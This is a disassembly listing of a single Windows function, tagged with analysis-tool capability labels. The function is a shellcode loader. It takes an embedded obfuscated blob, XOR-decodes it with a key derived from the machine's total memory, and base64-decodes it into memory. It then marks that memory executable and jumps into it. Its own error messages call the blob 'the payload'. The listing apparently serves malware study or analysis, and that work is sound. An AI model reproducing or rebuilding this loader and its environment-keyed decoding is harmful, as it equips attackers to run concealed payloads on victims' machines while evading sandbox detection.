Function at 0x140001070
Capabilities:
Decode data using base64 via winapi
Encode data using xor
Get memory capacity

Disassembly:
sub rsp, 0x598
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x580], rax
cmp ecx, 1
jle 0x140001379
mov rax, qword [rdx + 8]
cmp byte [rax], 0x2d
jne 0x140001379
cmp byte [rax + 1], 0x61
jne 0x140001379
cmp byte [rax + 2], 0
jne 0x140001379
lea r8, [0x140003290]
mov qword [rsp + 0x48], 0
lea rdx, str.a.txt
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001379
cmp qword [rsp + 0x48], 0
je 0x140001379
mov qword [rsp + 0x590], rbx
lea rdx, [rsp + 0xa0]
lea rax, str.0Zv_O_pfZYMNI_LJIEVRUsLVkLFZvSJwwVv.VxLVkfJZxOk_oTKKWUL_Wm_gwyVlVZW_fN._Wv_IU_JJvSJvSNugV_rxGxFhU.pjvZvYhWMqLWNJVkVXZLSN_U_uItu0fJXSQVwVEQRsVRlNWU_JZ_hKuxyYR_htZJ_GGFHZLSNMU_rNFlRLZLSN_gU__vhLVLWNNIw_HYEHtYFNIs_Htv____Ji0xHZYEHtvSZjsO0000GHpL_HorI_ZYHLFqrKVqgNoRfFW0IVRsVRUQR_QRs_JZYNNp_Iqrq0GothYoVvY_jSl__QRs_JJYMxQ_JJX_Irygi0I__sLVq_L_WLLFqFKKWUJrxRlZJsU_jjkISui0.JvUgtv_h._n_sVvyX_WhXpVe_Uvz__jNN__jqIXqp0.JvUJvU_tqWhO0000QRsLJtX_SNFFz00IwOwE___V0OwVh__ml4qtN_VS000iqY.EGUSKRjRffSqQlH_jHsjSroeYkl4LhvPPqMvPfRGfZNlEsVVYQ_spV.UpNlhmjg_EYXEt0_OJph_nnYSXZYuF_Ih_pxXIpX.lSXYhXgoF_Y_HjS_wpX.lT_wkgwW_lHQwXsivHh_K_hSutlTvnP_ZR_No_F_QsWNkKXYjE_IwE_J_VXIjSIIKSXIjP_ZR._NoLEHEsrIfPv_pWMhPviF_tELnGIsqtjF_kSh_TNHQuEG__SJIjF_tHqPv_qzrshS_tEHElFGMs_NoI_IfSJYqEH_Pv_Q_ooXgwSeJjRpI_sjEX_f_PI_SuR_VYMfHMsqNiQfhPf_fupgRLhTL_lHksVZsF_ki_NpMkI.T__ovJ_.rSpRYvktnNz_VRxVeNYEwMJJf__jxmpFyHtX_Ky.JHt_srfxishN__ii.ps0.JxgfpZNxZNsNoFoYOs0IVt.QKLVqqLVqgLVqNxVLFqNpLspqv0IVxNxw__krS__x_hGFHYwV_O_Nh4w00y00RKV_SujRgG.N_
mov ecx, 9
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001110
movups xmm0, xmmword [rax]
movzx ecx, byte [rax + 0x50]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
lea rax, [rsp + 0xa0]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x40], xmm0
mov byte [rdx + 0x50], cl
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400011a0
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x68]
shr rcx, 0x1e
movsx eax, cl
movd xmm1, eax
xor eax, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
test rbx, rbx
je 0x14000126f
cmp rbx, 0x40
jb 0x140001260
mov rdx, rbx
lea r8, [rsp + 0xa0]
and rdx, 0xffffffffffffffc0
lea r9, [rsp + 0xc0]
lea r10, [rsp + 0xd0]
nop dword [rax]
movdqu xmm0, xmmword [r8 + rax]
xorps xmm0, xmm1
movdqu xmmword [r8 + rax], xmm0
movdqu xmm0, xmmword [rsp + rax + 0xb0]
xorps xmm0, xmm1
movdqu xmmword [rsp + rax + 0xb0], xmm0
movdqu xmm0, xmmword [r9 + rax]
xorps xmm0, xmm1
movdqu xmmword [r9 + rax], xmm0
movdqu xmm0, xmmword [r10 + rax]
xorps xmm0, xmm1
movdqu xmmword [r10 + rax], xmm0
add rax, 0x40
cmp rax, rdx
jb 0x140001210
cmp rax, rbx
jae 0x14000126f
xor byte [rsp + rax + 0xa0], cl
inc rax
cmp rax, rbx
jb 0x140001260
lea rax, [rsp + 0xa0]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140001280
mov dword [rsp + 0x40], ecx
mov r8d, 0x3000
mov edx, ecx
xor ecx, ecx
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400012e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_memory___u__n
call fcn.140001010
lea eax, [rbx - 1]
mov rbx, qword [rsp + 0x590]
mov rcx, qword [rsp + 0x580]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x598
ret
mov edx, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x28], 0
mov r9, rbx
mov r8d, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140001336
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_decode_the_payload__u__n
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x1400012c0
mov edx, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001370
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_change_memory_protection___u__n
call fcn.140001010
mov eax, 0xfffffffd
jmp 0x1400012c0
call rbx
xor eax, eax
jmp 0x1400012c0
xor eax, eax
mov rcx, qword [rsp + 0x580]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x598
ret